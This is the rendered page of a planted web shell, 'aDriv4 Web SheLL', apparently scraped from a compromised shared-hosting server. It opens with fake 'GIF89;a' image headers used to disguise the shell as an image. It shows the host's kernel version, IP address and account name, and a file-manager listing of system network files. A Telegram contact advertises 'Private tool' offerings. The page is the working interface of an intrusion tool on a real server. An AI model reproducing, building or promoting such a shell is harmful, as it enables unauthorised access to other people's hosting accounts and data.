GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium155.web-hosting.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
 LiteSpeed
 162.0.235.200
Name Type Size Owner/Group Permission Last Modified Actions
. dir - easyjnaq/easyjnaq 0555 2026-02-11 12:56:23
.. dir - easyjnaq/easyjnaq 0555 2026-02-11 12:56:23
dev_snmp6 dir - root/root 0555 2026-02-11 12:56:24
netfilter dir - root/root 0555 2026-02-11 12:56:24
nfsfs dir - root/root 0555 2026-02-11 12:56:24
rpc dir - root/root 0555 2026-02-11 12:56:24
stat dir - root/root 0555 2026-02-11 12:56:24
anycast6 application/x-empty 0 B root/root 0444 2026-02-11 12:56:54
arp text/plain 0 B root/root 0444 2026-02-11 12:56:54
connector text/plain 0 B root/root 0444 2026-02-11 12:56:24
dev text/plain 0 B root/root 0444 2026-02-11 12:56:54
dev_mcast text/plain 0 B root/root 0444 2026-02-11 12:56:54
fib_trie text/plain 0 B root/root 0444 2026-02-11 12:56:54
fib_triestat text/plain 0 B root/root 0444 2026-02-11 12:56:54
icmp text/plain 0 B root/root 0444 2026-02-11 12:56:54
icmp6 text/plain 0 B root/root 0444 2026-02-11 12:56:54
if_inet6 text/plain 0 B root/root 0444 2026-02-11 12:56:54
igmp text/plain 0 B root/root 0444 2026-02-11 12:56:54
igmp6 text/plain 0 B root/root 0444 2026-02-11 12:56:54
ip6_flowlabel text/plain 0 B root/root 0444 2026-02-11 12:56:54
ip6_mr_cache text/plain 0 B root/root 0444 2026-02-11 12:56:54
ip6_mr_vif text/plain 0 B root/root 0444 2026-02-11 12:56:54
ip_mr_cache text/plain 0 B root/root 0444 2026-02-11 12:56:54
ip_mr_vif text/plain 0 B root/root 0444 2026-02-11 12:56:54
ip_tables_matches 0 B root/root 0440 2026-02-11 12:56:24
ip_tables_names 0 B root/root 0440 2026-02-11 12:56:54
ip_tables_targets 0 B root/root 0440 2026-02-11 12:56:24
ipv6_route text/plain 0 B root/root 0444 2026-02-11 12:56:54
mcfilter text/plain 0 B root/root 0444 2026-02-11 12:56:54
mcfilter6 text/plain 0 B root/root 0444 2026-02-11 12:56:54
netlink text/plain 0 B root/root 0444 2026-02-11 12:56:54
netstat text/plain 0 B root/root 0444 2026-02-11 12:56:54
nf_conntrack 0 B root/root 0440 2026-02-11 12:56:54
nf_conntrack_expect 0 B root/root 0440 2026-02-11 12:56:54
packet text/plain 0 B root/root 0444 2026-02-11 12:56:54
protocols text/plain 0 B root/root 0444 2026-02-11 12:56:54
psched text/plain 0 B root/root 0444 2026-02-11 12:56:24
ptype text/plain 0 B root/root 0444 2026-02-11 12:56:54
raw text/plain 0 B root/root 0444 2026-02-11 12:56:54
raw6 text/plain 0 B root/root 0444 2026-02-11 12:56:54
route text/plain 0 B root/root 0444 2026-02-11 12:56:54
rt6_stats text/plain 0 B root/root 0444 2026-02-11 12:56:54
rt_acct application/octet-stream 0 B root/root 0444 2026-02-11 12:56:24
rt_cache text/plain 0 B root/root 0444 2026-02-11 12:56:24
snmp text/plain 0 B root/root 0444 2026-02-11 12:56:54
snmp6 text/plain 0 B root/root 0444 2026-02-11 12:56:54
sockstat text/plain 0 B root/root 0444 2026-02-11 12:56:54
sockstat6 text/plain 0 B root/root 0444 2026-02-11 12:56:54
softnet_stat text/plain 0 B root/root 0444 2026-02-11 12:56:24
tcp text/plain 0 B root/root 0444 2026-02-11 12:56:54
tcp6 text/plain 0 B root/root 0444 2026-02-11 12:56:54
udp text/plain 0 B root/root 0444 2026-02-11 12:56:54
udp6 text/plain 0 B root/root 0444 2026-02-11 12:56:54
udplite text/plain 0 B root/root 0444 2026-02-11 12:56:54
udplite6 text/plain 0 B root/root 0444 2026-02-11 12:56:54
unix text/plain 0 B root/root 0444 2026-02-11 12:56:54
xfrm_stat text/plain 0 B root/root 0444 2026-02-11 12:56:54
© aDriv4